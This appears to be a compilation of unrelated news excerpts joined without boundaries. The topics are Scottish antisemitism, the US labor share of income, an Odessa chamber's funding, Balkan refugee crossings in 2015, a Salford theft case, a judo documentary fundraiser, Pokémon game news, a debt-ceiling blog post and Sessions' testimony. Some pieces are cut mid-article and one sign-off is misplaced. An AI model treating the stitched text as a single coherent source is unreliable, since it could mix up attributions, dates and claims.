According to “Being Jewish in Scotland” — commissioned by the Scottish government and carried out by the Scottish Council of Jewish Communities (SCoJeC) — 17 percent of respondents said they take steps to hide their Jewish identity, which the study noted is “many more than in 2012.”
One Glasgow woman in her 20s told SCoJeC, “I would never before have considered it risky to show my Jewish identity in public. However, that is changing.”
In addition, non-Jewish parents of offspring with Jewish heritage said they are concerned about their children being publicly perceived as Jewish, which would pose a threat to their safety and security.
“This exacerbates their isolation, since hiding their Jewish identity also diminishes their opportunities to connect with other Jewish people and thus to develop strong, resilient and supportive communities,” the authors of the study wrote, pointing to the 32% of Scottish Jews who expressed heightened levels of anxiety, discomfort or vulnerability, due to antisemitism.
“For the first time in 62 years, I did not attend high holiday services this year due to my security concerns,” a male respondent in his 60s from Edinburgh told SCoJeC.
Many other respondents said they felt victimized after being the target of antisemitic jokes or social media posts.
According to the study, there was a spike in antisemitic incidents in Scotland in late 2014, following Operation Protective Edge, Israel’s war against Hamas in Gaza that summer. SCoJeC said it received during that period almost the same number of reports of antisemitic incidents as in the whole of 2013.
“Experiences of antisemitism and hate crimes, often masquerading as political criticism of Israel, have increased since our first ‘Being Jewish in Scotland’ Inquiry,” the authors of the report wrote.
“There has been a definite change and that is largely due to the increasing level of anti-Israel activity and the derogatory description of being a Zionist,” an unidentified female respondent in her 60s from Glasgow wrote. “Being Zionist means believing in the right of the Jewish people to have a safe homeland of their own.”
An Israeli female in her 20s living in Edinburgh said, “I feel scared to speak in my language or tell people I’m Jewish or from Israel. I don’t go to any Jewish gathering unless it’s at somebody’s home, and I try to hide anything about being Jewish when I’m outside my house.”
Workers in the United States are in a very difficult situation—one made significantly worse by the Great Recession and the very slow “recovery.” The latest data as we write this (available for January 2013) indicates that although the unemployment rate has declined from its peak and is now at 7.9 percent, when those working part time but wanting full-time jobs and those who have given up looking for work are added in, 14.4 percent of the labor force currently needs full-time employment. To give some idea of the meaning of such a large percentage needing full-time jobs, this represents 22 million people, compared to total nonfarm private-sector employment of about 113 million. Given the large portion of workers in part-time positions, there are currently less than 100 million full-time-equivalent jobs left in the private sector. With the public sector hiring few if any workers for the foreseeable future, and no New Deal-type works program in the cards, the private sector will be the source of whatever job increases occur.
As if the current employment situation is not bad enough, there has also been a long-term decline in the relative power of the working class, with capital increasingly gaining the upper hand. One crucial indication of this is the stagnation or decline over decades of real wages (corrected for inflation). For a while workers’ lost ground with respect to wages was compensated for by more women entering the labor force so that households increasingly had two earners, helping to maintain household income. However, over the last decade there has even been a downward trend in median family income—decreasing from $54,841 in 2000 to $50,054 in 2011 (both in 2011 dollars). The financial impact of the Great Recession has had a devastating effect on many people—with millions declaring bankruptcy, losing homes to foreclosure, or being forced “underwater” (owing more than the worth) on their homes.
Although there were numerous other factors at work, President Reagan’s 1981 firing of striking air traffic controllers, replacing them with nonunionized workers, was a turning point in the class war, leading to the decline of workers’ power. This action set a tone for private business that made it “acceptable” to break strikes by bringing in scab labor. Labor legislation protecting workers’ right to organize was weakened. The various unanswered attacks on both private- and public-sector labor that took place helped reverse the generally favorable view of unions on the part of the public. Consequently, the number of unionized workers has decreased dramatically, with public-sector workers providing now most of the total union membership, and attacks on unions increasingly focused on the public-sector. Total union membership dropped by 2.8 percent in 2012 to 11.3 percent of the workforce, the lowest in the entire post-Second World War period, with more than half the union-membership loss occurring in government jobs. Both the number of strikes and the workdays lost due to strikes have plummeted over the last four decades.
Among the arsenal of tools at capital’s disposal that added to the decline of working-class power, perhaps the most important was the ability of bosses to outsource a portion of the work or actually move entire factories—first to low-wage parts of the United States and, more recently, offshoring jobs to Asia and elsewhere to take advantage of low wages and lax environmental laws. Even the mere threat to move factories and jobs to lower-wage areas has frequently been enough to subdue labor—and understandably so. With employment growth anemic at best, workers have been concerned that if they lost their jobs they might not be able to find new ones—or ones as good. In the words of a recent New York Times headline, the “Majority of New Jobs Pay Low Wages.”
Another long-term trend that has weakened labor has been the increasing use of part-time employees—anyone working from 1 to 34 hours per week is officially considered part time. Since the 1970s there has been a general increase in the use of part-time labor, which now makes up approximately 20 percent of all employed workers. During the Great Recession when more than 11 million full-time jobs were lost, there was actually a gain in part timers—so that the reported net loss of jobs, 8.7 million, did not give a full picture of what was happening. Many part-time workers are in especially difficult work environments, with new computerized scheduling programs able to tell bosses the number of workers needed during different days of the week—and even at different times during the day. As a result, many part-timers, especially in retail sales, do not have fixed schedules that they can count on. This makes it more difficult to work at a second part-time job. An additional problem for labor in the current environment is that, of the workers hired during the “recovery” from the Great Recession, over 750,000 of these jobs were supplied by temporary help services, leaving these employees with a precarious hold on their jobs.
Labor’s Share
James K. Galbraith examined the “squeeze on wages from the 1950s–1990s,” discovering that the wage and salary share of personal income declined every decade on average throughout this period. Recently, a number of studies by quite “reputable” sources have appeared—especially one by staff at the Cleveland Federal Reserve Bank and one by the Congressional Budget Office—showing the decline in the share of the economy going to labor seen in the last half of the twentieth century has continued into the present century. Using different assumptions and approaches they developed three different calculations, all of which indicated that labor’s share has been declining for some time.
Determining labor’s share of the pie obviously raises a number of methodological questions, as there are various ways to calculate this. Labor’s share of income can be estimated on the basis of either (a) wages and salaries received by workers or (b) total compensation. The latter includes, in addition to wages and salaries, benefits provided by employers—both legally required insurance entitling the employee to benefits in the event of ill-health, unemployment, disability, and old-age retirement, and also voluntary benefits such as paid leave and life insurance. These benefits differ considerably. Some, such as Social Security and Medicare, are genuine social insurance programs. Others, such as the Health Management Organizations (HMOs) in which workers are enrolled by their employers, are private insurance programs, where workers are required to pay a large and increasing portion of the cost, generating high profits to insurance companies and offering diminishing use-value per benefit dollar to employees.
It is important to recognize that benefits received by employees—distinguishing total compensation from mere wages and salaries—are very unevenly divided in the U.S. economy. They vary by (a) whether the worker is full time or part time—benefits represent 31 percent of total compensation for private sector full-time workers but only 21 percent for part-time employees; (b) union or nonunion—benefits are approximately 41 percent of all compensation for unionized goods-producing employees versus 31 percent for nonunion employees doing similar jobs; and (c) job type—for example, benefits represent 34 percent of total compensation for full-time “information” employees versus 29 percent for full-time service employees.
Depending on the nature of the question, then, one may wish to emphasize either total compensation or wages and salaries in analyzing labor’s share, comparing them alternately to GDP (or some other national-income indicator) or to private-sector output. In all cases, however, the general trends are very similar. Movements of total compensation and wages and salaries generally rise and fall together. This means, according to The State of Working America for 2012, “that analyses…that focus on wage trends” alone as opposed to total compensation “are using an appropriate proxy for compensation, at least on average.”
Here, we shall look separately at the shares of GDP represented by total compensation and wages and salaries. The upper line in Chart 1 shows the total compensation of all employees receiving wages and salaries—workers and managers in the government and private sectors—as a percent of GDP, while the lower line is restricted to total compensation of private-sector employees as a percent of GDP. Comparing the two lines, we can see that after a brief rise in the late 1960s a plateau emerges in the labor share of GDP for all employees (upper line), persisting through much of the 1970s, followed by a downward trend to the present. In contrast, the labor share of GDP for private sector employees alone (lower line) exhibits no increase in the 1960s, and a decline from the 1980s to the present. The slight rise in the labor share for all employees in the late 1960s along with the plateau for much of the ‘70s can therefore be attributed almost entirely to the increase in government and non-profit-sector employment in these years. This corresponded to the Vietnam War, the Great Society, and the Nixon Family Assistance Program, and to state and local government hiring to staff new schools and expand police and fire departments in the burgeoning suburbs. In the second half of 1966, during the big buildup of the Vietnam War, military expenditures accounted for half of the total increase in GDP. Overall, there was a huge increase in civilian government employees—federal, state, and local—in this period with civilian government employment as a percentage of all nonfarm employment rising from 15.6 percent in 1960 to its post-Second World War peak of 19.2 percent in 1975.
Chart 1. Total Labor Compensation as a Percent of GDP Sources: “All employees” is government and non-profit-sector employees plus private-sector employees (excluding non-profit employees here from the private sector). Compensation for government employees from Table 1.13, “National Income by Sector, Legal Form of Organization, and Type of Income,” National Income and Product Accounts (NIPA), Bureau of Economic Analysis (BEA); Compensation for private sector employees, is from unpublished Bureau of Labor Statistics (BLS) data; “Gross Domestic Product” (GDP), St. Louis Federal Reserve (FRED Database), http://research.stlouisfed.org/fred2. BLS data for private sector compensation provided by personal communication from the Supervisory Economist, Office of Productivity and Technology Division of Major Sector Productivity.
Not surprisingly, this period was one of relative prosperity for workers. The average rate of real growth of the U.S. economy was higher in the 1950s and ‘60s than in the ‘70s. But even in the 1970s the economic growth rate exceeded that of the three decades that were to follow.
Chart 1 shows that total compensation of both all employees and private sector employees as a percent of GDP continued a downward slide for most of the 1980s, ‘90s, and the first decade of this century. However, a brief bump up was experienced in the second half of the 1990s. The temporary rise in the compensation share at that time was mainly a product of the dot-com financial boom, which turned into a bust in 2000. The bursting of the dot-com bubble led to a sudden drop in the compensation share, which was given an added downward push by the Great Recession less than a decade later.
Wages and salaries, as distinct from total compensation, are especially important for workers at the lower-income levels, since this is the basis of their everyday consumption, constituting their means of subsistence. As with total compensation—only more so—wages and salaries exhibited a strong downward trend as a percentage of national output of goods and services (Chart 2). Similar to what we observed in the case of the total-compensation share, a brief, cyclical increase in the wage share is evident for all employees in the late 1960s and early ‘70s (upper line). But just as we saw with respect to total compensation, this short-term increase in the wage share disappears once we look at the wages and salaries of private-sector employees as a percent of GDP (lower line). Hence, the rising wage share for all employees in these years is once again explained primarily by the expansion of government and non-profit-sector employment, and subsequently eroded along with the decline of government consumption and investment as a percent of GDP beginning in the 1970s. It was not until the late 1990s dot-com bubble that one again sees significant employment gains, as well as modest increases in wages and salaries, resulting in a very brief increase in the share of wages and salaries in GDP—though never approaching its previous peaks, and plummeting thereafter.
Chart 2. Wages and Salaries as a Percent of GDP Sources: Salary and wages for all employees and private sector employees from Table 1.12, NIPA, BEA; GDP, FRED Database.
Overall the decline in real wages (corrected for inflation) since the 1970s has been sharp. As David Gordon observed in 1996 in Fat and Mean, by the early 1990s the real hourly spendable earnings of private nonproduction/nonsupervisory employees in the United States had fallen “below the level they had last reached in 1967…. Referring to these trends since the early 1970s as ‘the wage squeeze’ is polite understatement. Calling it the ‘wage collapse’ might be more apt.” While the real hourly wage for all nonfarm private workers has declined, weekly (or annual) wages and salaries have fallen even faster. In the early 1970s the average earnings of nonfarm private workers was over $340 per week (in 1982–1984 dollars). Earnings of these workers declined rapidly to less than $270 per week in the early 1990s, rebounding to $294 per week by 2011—still close to 15 percent less than in 1973. The decline in real income per week was the product of two trends: (1) stagnating and declining real hourly wages and (2) the decline of hours worked per week. As more people worked part time, the average hours worked in private sector nonfarm jobs declined from 38.6 hours in 1965 to 33.6 hours in 2011. It was this combination of declining real wages and fewer hours worked that left workers poorer and in more precarious positions.
A Look at Class Divisions and Wages
The labor share of income as depicted above in terms of both total employee compensation and wages and salaries as shares of GDP is of course a very crude indicator of what is happening to the working-class income, downplaying the actual fall in working-class wages and salaries as a share of GDP. This is because the aggregate data also includes the compensation going to CEOs and other upper-level management, which ought to be counted as income to capital rather than labor. The wages and salaries (and benefits) of higher management positions have been rising in leaps and bounds in recent decades while workers’ wages at the bottom have lost ground. Consequently, the actual decline in wages as a share of GDP is much sharper where the working class itself is concerned. An examination of real hourly wages 1979–2011 by income decile (up to the 95th percentile) shows that the real hourly wage of the bottom decile shrank in absolute terms over the period, while that of the top decile increased by more than 35 percent. Thus, although the wage share of income has sharply dropped in the U.S. economy, this decline has not been shared equally, and applies mainly to what is properly called the working class, i.e., the bottom 80 percent or so of wage and salary workers.
We should add, parenthetically, that the term “working class” is hardly used in the dominant discourse in the United States today. Many workers conceive of themselves as part of the “middle class” because they have come to think of their income as providing them with a “middle-class lifestyle”—and because they consider themselves above “the poor,” who have been converted in the ruling ideology into the entire lower class (or underclass), leaving out the working class altogether. Nevertheless, from a perspective that focuses on class as a power relation the working class rightly includes all those who work for wages or salaries and are not in a management or predominantly supervisory position—and who are also not high-level professionals, such as doctors, lawyers, and accountants. Some members of the working class might be paid very well, but they still have the same basic relationship of worker to capital or “the boss.”
There is no routine collection of statistics on the entire working class. The closest that the official statistics come to in this respect is in the standard private-sector reporting category called “production and nonsupervisory” workers, which includes “production workers in the goods-producing industries and nonsupervisory workers in the service-providing industries.” Although comprising some 90 million employees (about 80 percent of private-sector workers), it is a very rough approximation of the U.S. working class, leaving out many who should be counted. The residual group of private-sector employees not considered in this category, which we refer to in this article as “management, supervisory, and other nonproduction employees,” undoubtedly includes many employees who might well be considered part of the working class. Moreover, the production and nonsupervisory workers category applies only to the private sector and thus leaves out all government workers, many of whom, such as those who work in the post office, public schools, and local police, should be included within the total working class. So while the data tells us a lot, we must recognize its inadequacies. Still, it is the best statistical basis available for looking at the working class as a whole, as inadequate as it may be.
Chart 3 provides data related to production and nonsupervisory employees. While the share of the GDP going to the wages and salaries of all private employees has, as we have seen, decreased dramatically (lower line in chart 2), the drop in the wage income of production and nonsupervisory workers as depicted here has been even more startling. Chart 3 shows that private-sector production and nonsupervisory workers have remained a fairly constant percentage of all private employment from the mid–1960s to the present. (See the top line in the chart, indicating that these workers represented around 83 percent of all private sector workers in both 1965 and 2011.) Nevertheless, the share of production and nonsupervisory workers in the total private sector payroll dropped from over 75 percent in 1965 to less than 55 percent during the Great Recession, and has only risen slightly since.
Chart 3. Number and Payroll of Production and Nonsupervisory Employees as a Percent of Total Private Sector Sources: Number of private sector production and nonsupervisory employees from BLS Series CES0500000006; Total private sector employees from “All Employees: Total Private Industries” (USPRIV), FRED database; Annual payroll of production and nonsupervisory is calculated from weekly aggregate payroll, BLS Series CES0500000082; Aggregate payroll of all private employees from Table 1.12, NIPA, BEA.
The implication of this, of course, is that the management, supervisory and other nonproduction employees at the top, representing around 17 percent of private employees, receive more than 40 percent of private sector wage and salary income—and this share is rising.
We see the contrasts even more clearly when we look in Chart 4 at the shares of GDP going to the two separate groups that make up private employees—production and nonsupervisory employees versus what we have labeled as management, supervisory, and other nonproduction employees. Wages and salaries received by the upper levels of private employees actually increased from 1965 to the present as a share of GDP. At the same time, those of the over 80 percent of private-sector workers in the production and nonsupervisory worker category saw their wages and salaries decline dramatically, from over 30 percent of the GDP to about 20 percent in 2011. Hence, the rapidly declining wage share in the monopoly-finance-capital period since the mid–1970s stagflation crisis fell entirely on the backs of working-class employees.
Chart 4. Wages and Salaries of Private Sector Employees as a Percent of GDP Sources: Same as Chart 3, with share of GDP to “Management, supervisory and other nonproductive employees” calculated by subtraction of wages and salaries of “production and nonsupervisory employees” from wages and salaries of all private sector employees.
Given this background of high unemployment, lower-wage jobs, and smaller portions of the pie going to workers, it should come as no surprise that, according to the U.S. Census Bureau, nearly 50 million people in the United States live in poverty (with income in 2011 below $23,021 for a family of four) while another 50 million live between the poverty level and twice the poverty level—one paycheck away from economic disaster. Thus, the poor (those in poverty or near poverty), most of whom belong to the working poor, account for approximately 100 million people, fully one-third of the entire U.S. population.
Writing more than a decade ago, Bill Moyers commented on the plight of labor as follows: “Our business and political class owes us better than this. After all, it was they who declared class war 20 years ago, and it was they who won. They’re on top.” However, the way the system works, the ruling class does not owe workers anything aside from wages and salary earned and legally required benefits. And the attack on labor—its unions, wages, working conditions, social programs, and even legally required benefits—continues to this day.
Wage repression and high unemployment are the dominant realities of our time. A vast redistribution of income—Robin Hood in reverse—is occurring that is boosting the share of income to capital, even in a stagnating economy. Is it any wonder, then, that for years on end polls have shown a majority of the population agreeing with the statement that the United States is on the wrong track and not headed in the right direction?
The Odessa Hispanic Chamber of Commerce has shown the city no return on investment, produced shoddy financial reports and as a result, will see its funding slashed, reports the Odessa American.
The Odessa Development Corporation (ODC) has handed the chamber over $500,000 since 2006, part of the proceeds of a quarter-cent local sales tax, for business development. The chamber says it has brought in two businesses in that period and created 12 new jobs.
Other than those companies, however, the Hispanic chamber has not brought in any more manufacturing or industrial businesses to Odessa, prompting the ODC to cut the chamber’s funding for the 2011-2012 fiscal year.
During the ODC’s final approval of their 2011-2012 fiscal year budget in their meeting Sept. 15, the ODC reduced the Hispanic chamber’s funding down to $45,000, almost $70,000 less than the chamber’s original request of $114,118.
Chamber president Manny Puga refused to divulge his salary to the newspaper so it filed an open records request for the information. Because the chamber receives tax dollars, it is subject to the Public Information Act, the story notes. Federal tax law requires nonprofits to disclose the compensation of officers, board members and “key employees” (such as an executive director) on their tax returns.
Puga earned $72,546 and the group had $201,309 in revenue in 2009, according to the group’s tax form posted here at Texas Watchdog’s Scribd page . Puga’s pay was a 32 percent raise from his salary of $54,975 in 2008.
Slovenia is the latest European country fielding a massive influx of refugees mostly fleeing war-torn Syria.
LIVE UPDATES: End of Schengen? EU countries toughen border control
On Thursday Slovenian police halted a train carrying some 200 refugees coming from Croatia. According to official statistics, this was the largest group of refugees that tried to enter the Balkan state since the crisis flared up in Europe so far. Slovenian police said that the migrants stopped at Dobova train station on the Slovenian side of the border would be returned to Croatia.
“We will return them to Croatia in the shortest time possible,” Anton Stubljar, head of the sector for state border and foreigners at the Novo Mesto police administration, told the media.
As a sign of “protection”, “solidarity” and “respect”, Slovenia is ready to provide shelter to up to 5,000 refugees, Slovenia’s ambassador to London Tadej Rupel told the Guardian.
“What we are emphasizing is that refugees and migrants need protection, our solidarity, compassion and respect. We are ready and committed to all the humanitarian needs of those who are migrating and for refugees,” Rupel said.
Some 2,000 people would be accommodated in buildings such as sports centers while another 3,000 in tented camps around the country, according to Rupel. But even hosting such capacity will require additional help from the government and “everyone who understands the human suffering of the people fleeing war-ravaged areas,” Slovenia’s Red Cross has said in a statement.
The Ljubljana-based organization has called on the people of Slovenia “to contribute according to their abilities and bring food or hygiene goods”.
For the majority of asylum seekers and migrants Slovenia is just the next stop on their long route to Western Europe with Germany being the most desirable destination for many. Some 7, 300 refugees have been registered crossing into Croatia by the country’s Interior Ministry as of Thursday in the last two days.
Earlier, Slovenia has said it would reintroduce border control with Hungary and informed the European Commission that starting Thursday its border will be closed for at least 10 days.
Hungary itself sealed its frontiers and closed border crossings from Serbia overnight on Monday after scuffles with police that used tear gas and water cannons. The use of force was met with fierce condemnation from other states and the UN.
BREAKING: Hungary detains 29 asylum seekers, including ‘identified terrorist’ in border clash http://t.co/gQBTjfhhuDpic.twitter.com/YHMIMa5TH8 — RT (@RT_com) September 16, 2015
“I was shocked to see how these refugees and migrants were treated. It’s not acceptable,” the UN’s secretary general Ban Ki-moon said a news conference.
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Croatia can’t receive more people – interior minister
Hungary’s closure of borders has interrupted the stream of asylum seekers, leaving thousands of people stranded and search for alternative routes such as via Croatia.
Croatia meanwhile said that such a massive influx of refugees is now coming from Serbia, that the country would have to close the border should more migrants cross from Serbia.
“Croatia will close its border with Serbia if we witness again 8,000 migrants entering the country in one day,” Interior Minister Ranko Ostojic said on Thursday.
In response, Serbia threatened to sue “Croatia and any other country” if borders are closed.
“We want to warn Croatia and any other country that the closure of international roads is unacceptable and that we will request the protection of our economic and other interests in international courts,” Serbian Minister of Labor Aleksandar Vulin said, according to the Tanjug news outlet.
Croatia has provided buses for women and children bound for reception centers near Zagreb.
However, clashes broke out when police tried to board them, separating from their husbands and fathers.
“Only women and children are now allowed onto buses. My wife and child are gone and they (police) do not allow me to join them. My phone does not work,” an Iraqi from Baghdad told Reuters.
Crowds of refugees broke away from the police and occupied railway lines, with some sitting and some marching towards Zagreb.
“They want to take us to the camps, but we don't want that,” another man who was not named told the news agency.
In the capital Zagreb, riot police was deployed around one of the hotels where hundreds of refugees housed there began chanting "Freedom! Freedom!" and throwing rolls of toilet paper from balconies and windows.
Croatian President Kolinda Grabar-Kitarovic has asked Armed Forces Chief-of-Staff Gen. Drago Lovric to put the army on high alert in case there is a need to protect the country’s borders, HINA news agency reported Thursday.
“Croatia will not be able to receive more people,” Interior Minister Ranko Ostojic told reporters in Tovarnik on Thursday.
‘Unacceptable’ for Schengen candidate – Hungarian FM
On Thursday, Hungary that previously erected fences along some of its borderline, has accused Croatia of having "lost control" over the migrant flow after some 200 refugees were detained at the south border, where Budapest has no fences yet.
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Hungarian foreign minister Peter Szijjarto blamed Croatia for pushing asylum seekers to Hungary and Slovenia instead of registering and looking after them in accordance with European Union rules. He said it was “unacceptable” and proved that Croatia would not be ready to join the Schengen zone for several more years, Reuters reported.
Razor wire is for criminals: German firms refuse to sell materials for Hungary's refugee fence http://t.co/hOklAn2fQUpic.twitter.com/3NXzSqCobb — RT (@RT_com) September 16, 2015
European Council President Donald Tusk and EU leaders are expected to meet next Wednesday to discuss measures to be taken to handle the crisis at EU’s external borders and also help Turkey, where many of refugees arrive first, as well as other states along the route.
The EU's commissioner in charge of enlargement Johannes Hahn has called on member states to stay calm and unite in tackling the crisis.
“The Western Balkans must not become a parking lot for refugees. That would be a grave geostrategic mistake. Cool heads on all sides are all needed now, not harsh rhetoric,” he said on Thursday.
Bin wagon driver Paul Strickland has been charged with stealing thousands of rolls of biodegradable food waste bags.
An investigation by the council’s internal audit team discovered that 8,200 rolls of bags had disappeared, containing more than 1.5m individual bags.
It is alleged that Strickland, from Worsley, sold the rolls on and made more than £11,500, selling them at around 1.40p a roll.
He is due to appear at Salford Magistrates' Court next week, charged with theft.
The eco-friendly waste bags are provided for residents to use in food recycling caddies, collected every week.
Every refuse vehicle in Salford has a supply on board to distribute as residents need them.
Salford is one of only a few council’s across the country which supply the bags free in a bid to maximise recycling.
Strickland faces one charge of theft that between December 2014 and May 2015, he stole 8,225 rolls of bin liners at a cost to the council of £5,551.
(Image: PA)
Salford council plans in future to stamp all food bags with its own logo.
A spokeswoman said: “The matter is now in the hands of the police.”
A Greater Manchester Police spokeswoman told the M.E.N: “A man has been charged after a theft in Salford.
“Paul Strickland, 30, of Bolton Road, Worsley, has been charged with theft by an employee.
“On 29 June 2015, police received a report that a significant number of compost waste bags had been stolen from an organisation in Weaste, Salford.”
With gratitude,
The BSBGBB Team
Story:
Throwing thousands of years of tradition to the wind, Keiko Fukuda chose to follow her own destiny and become the highest ranking woman in judo’s history. Be Strong, Be Gentle, Be Beautiful tells the inspirational story of Fukuda’s lifelong journey, spanning four continents, nine decades, and two distinct cultures, to overcome adversity and ultimately transform into a living legend.
Today, at 98-years-old, Fukuda has achieved judo's highest honor - 10th degree black belt - and has earned the distinguished title of "Shihan" (grand master). She is the only woman in the world to have reached this pinnacle in judo, but this monumental achievement did not come without sacrifice. She gave up marriage, braved the burning embers of post-WWII Tokyo to teach judo, traveled around the world to spread judo, and faced decades of gender discrimination within judo's rank system.
Fukuda Shihan's personal motto is "Be Strong, Be Gentle, Be Beautiful." She believes one has to experience and embrace the philosophy of judo with one's entire body and soul. Her wisdom and teaching methods have been an inspiration to the women she has taught throughout her 77-year judo career. Today, Fukuda Shihan still teaches judo at her all-women dojo (studio) in San Francisco three times a week and continues to be a role model for women and men alike.
Our documentary film, Be Strong, Be Gentle, Be Beautiful, chronicles her lifelong dedication to judo and fulfillment of her dreams against all odds. Please donate, help us finish the film, and allow Fukuda Shihan's legacy to live on.
How the film came about:
In 2005, I was flipping through O Magazine and came across an article about a 92-year-old judo master, Keiko Fukuda. Her story instantly intrigued me. Not only did she live in San Francisco, like me, but she literally lived around the corner. I walked over to her judo dojo, which is also in our neighborhood, and introduced myself. A short while later, I embarked on a wonderful journey with her and began documenting her lifelong struggle to pursue her dreams and achieve gender equality in judo.
Who is Keiko Fukuda?
Fukuda was born in Tokyo in 1913, where two generations earlier her samurai grandfather was the first martial arts master to Jigoro Kano, who went on to found judo. In 1934, Fukuda was invited by Kano to join his new women’s division, a progressive idea at a time when males dominated the sport. Judo literally translates as the “gentle way” and, as most martial arts, began as combat technique. During peace times it was cultivated as a spiritual practice. Judo’s black belt has 10 degrees, but gender discrimination dictated that women hit a ceiling at 5th degree, until 1974. Fukuda herself was frozen at 5th degree for 30 years, while her male colleagues advanced.
Facing her own struggle for independence as a young woman, Fukuda defied tradition, choosing not to marry when she realized that as a wife she would have to give up her beloved judo. Her teacher, Master Kano, charged his students with the responsibility to spread judo around the world. For Fukuda, this became her life’s vocation.
Today, Fukuda, at 98-years-old, less than 5 feet tall, and weighing barely 100 pounds, is still a force to be reckoned with. She continues to teaches judo several times a week and has achieved judo's prestigious 10th dan. She is the last living disciple of Master Jigoro Kano, judo's founder, and is the world's only direct link to judo's origins.
The buzz:
By recently being awarded 10th dan (10th degree black belt) in July 2011, Keiko Fukuda has made world history. She is the only woman ever to receive this highest honor in judo. As a result, the media has run with the story and coverage has been extensive. Visit the film's press page to listen to a BBC or NPR radio segment about Fukuda, read about her in TIME Magazine, watch a clip of her on ABC News, and more.
What will my contribution go toward?
Your generous donation will help us get closer to finishing our film. In addition to applying for funding from various foundations, we are hoping to raise $15,000 through our Kickstarter campaign. Here's a breakdown of where the money will go:
-$10,000 will go towards finishing editing a rough cut of the film. Essentially, this means fueling all the moving parts to make this possible - the machines (computers, editing equipment, hard drives), the people (director, associate producer, editor, assistant editor, interns), and the late-night coffee to keep us all going.
-$5,000 will go towards hiring a composer to create a score for the film.
*Note: If we do not reach our Kickstarter goal of $15,000, your contribution will not be processed and you will not receive a reward. That's just the way Kickstarter works; it's all or nothing. So, please, spread the word and help us reach our goal!
Tax deductible contributions:
Not only are your contributions to the film very much appreciated, but they are also tax deductible! Why? Because we are partnered with a non-profit fiscal sponsor, The Center for Independent Documentary. *Please note that your contributions are tax deductible minus the value of the "reward" you'll receive back.
Keep in touch:
Please visit the film's Facebook page and be sure to check out the film's official website, too. Also, check out clips from the film on our YouTube Channel.
Other questions?
With the generation continuing and Nationals coming up globally, and the Chatroom has been rife with discussion while the WiFi Chatroom has been a place for battles, trades and Friend Safari hunting, so be sure to visit them. Our Forums have also had these discussion and are a bustling trade and competitive section for the games. Be sure to like our FaceBook Page .
Last Update: 15:11 GMT
Edit @ 05:06: Pokémon Center News | Edit @ 05:11: Pokkén News | Edit @ 05:24: Movie News | Edit @ 15:07: Pokkén Release Date In The Games Department Pokkén Tournament - New Details Some modes have been announced for the Wii U version of Pokkén Tournament. First is the standard Single Battle, which has three different difficulty levels. Next is the previously announced local battle where one player plays on the GamePad and another with a standard controller. During this mode, the game will run at 30fps rather than the standard 60fps.
Finally is the online mode. There are two parts of the online component in the game: Friendly Matches & Ranked Matches. Friendly Matches can be played against anyone, with people on Friend Lists or people who have the Battle Code for your Friendly Match. Ranked Matches are where you can earn various rank points, awarded based on your success in the match and players compete to get the highest rank.
It also states that you can use a LAN Cable to link two Wii Us, where the game will run at 60fps
Edit @ 05:17: Two new sets of Support Pokémon have also been revealed. The first set includes Pachirisu and Magikarp while the second set includes Sylveon and Croagunk. It is currently unknown what they can do. In addition to this, 12 new Wii U screenshots have been added to our pre-release screenshot page. Click the image to go to the page
Edit @ 15:07: It has been confirmed that the Wii U version of Pokkén Tournament is to be released in North America on March 18th 2016. With the release, as revealed in the Nintendo Direct, it will come with a special Shadow Mewtwo card in the first run of retail packages.
Edit @ 15:11: It is also confirmed for Europe on March 18th 2016
Edit @ 15:20: New screenshots featuring Mewtwo, Shadow Mewtwo and Chandelure have been added Support Pokémon Support Pokémon In The Games Department Pokkén Tournament - New Pokémon Confirmation Following the announcement last week of a new character with the ラ character in its Japanese name, it has been confirmed that Chandelure is to be the next playable Pokémon in Pokkén Tournament. The trailer of Chandelure is said to debut at a special fighting competition on January 31st 2016 so be sure to check back for that In The Games Department Pokémon It has been revealed that a new Pokémon Center is to open in Japan. On March 16th 2016, a Pokémon Center will open in Kyoto. This is the tenth Pokémon Center store to be in Japan and its logo features Pikachu as well as the Legendary Pokémon, Ho-Oh In The Anime Department Pokémon the Movie XY & Z 2016 The latest new story details have been revealed for the upcoming movie, Pokémon the Movie XY & Z 2016, due for release in Japan on July 16th 2016. These details give the basic plotline, but is subject to change as we learn more of the movie
As Ash continued his journey aiming to become a Pokémon Master, a lump covered in white smoke suddenly dropped out of the sky and landed in front of him and his friends. As white smoke spread around as far as the eye could see, a shape appeared from within it; The mythical Pokémon Volcanion.
Ignoring the worried Ash and his friends, Volcanion, who hates humans, immediately tries to leave the place. However, the impact of the fall caused Ash and Volcanion to be linked together by a strange device, leaving them unable to separate...!
Mind you, it’s not entirely clear what the Republicans have even agreed to here in terms of any tax increases.
So the GOP walks, and Obama will just have to sweeten the deal to “save the hostages.” Did anyone else see this coming?
It’s nearing time for the President to declare the Republicans not serious, decouple the debt ceiling vote from the deficit talks, and make clear to the markets that the US will continue to honor its debt regardless of whether the GOP holds the world economy hostage.
From Ryan Grim at HuffPost:
Obama had proposed to Republicans a “grand bargain” that accomplished a host of individual things that are unpopular on their own, but that just might pass as a huge package jammed through Congress with default looming. Obama offered to put Social Security, Medicare and Medicaid cuts on the table in exchange for a tax hike of roughly $100 billion per year over 10 years. Meanwhile, government spending would be cut by roughly three times that amount. It’s no small irony that the party’s dogmatic opposition to tax increases is costing the GOP its best opportunity to roll back social programs it has long targeted. Republicans are now banking on a smaller deficit reduction deal that would still make major cuts, somewhere in the range of $2 trillion.
Do you see what Boehner is doing here? He’ll agree to “only” a couple trillion if cuts if the President stops asking for tax increases (or, at the very least, if the President drops any serious tax increase proposals).
Yes, Boehner is facing pressure from the Teabagger caucus. But. He also knows that the President’s goal is to get any deal here, (nearly) regardless of the cost, so Boehner is also playing the President. He’s banking on the President’s now-infamous statement that hostage takers must never be allowed to kill the hostages. He’s hoping the President sweetens the deal even more.
Maybe the President can throw in the repeal of the Civil Rights Act and the 19th Amendment.
Sessions will deliver his long-awaited testimony before the Senate Intelligence Committee on Tuesday afternoon, a day Sessions himself lobbied for in an apparent attempt to avoid testifying at two other budget hearings the same day. That move didn't win him any friends in Congress, and several members said Sessions should also testify in different committees on Russia, the 2016 election and Trump.
Those complaints on Monday only seemed to contribute to the idea that Sessions is running out of allies. Some reports have suggested that Sessions has already mulled resigning amid growing tensions with Trump over his decision to recuse himself from any investigation dealing with the campaign, which eventually led to the creation an special counsel to examine these issues.
But many in the Senate are just as unhappy. Last week, after public testimony at the same Senate Intelligence Committee that Sessions will meet with today, former FBI Director James Comey said he was unable to discuss openly issues related to Sessions that make his involvement in any Russia investigation "problematic."
In a closed meeting, Comey reported said Sessions had a third, unreported meeting with Russian Ambassador Sergei Kislyak, and senators are ready to ask Sessions today why that was never reported.
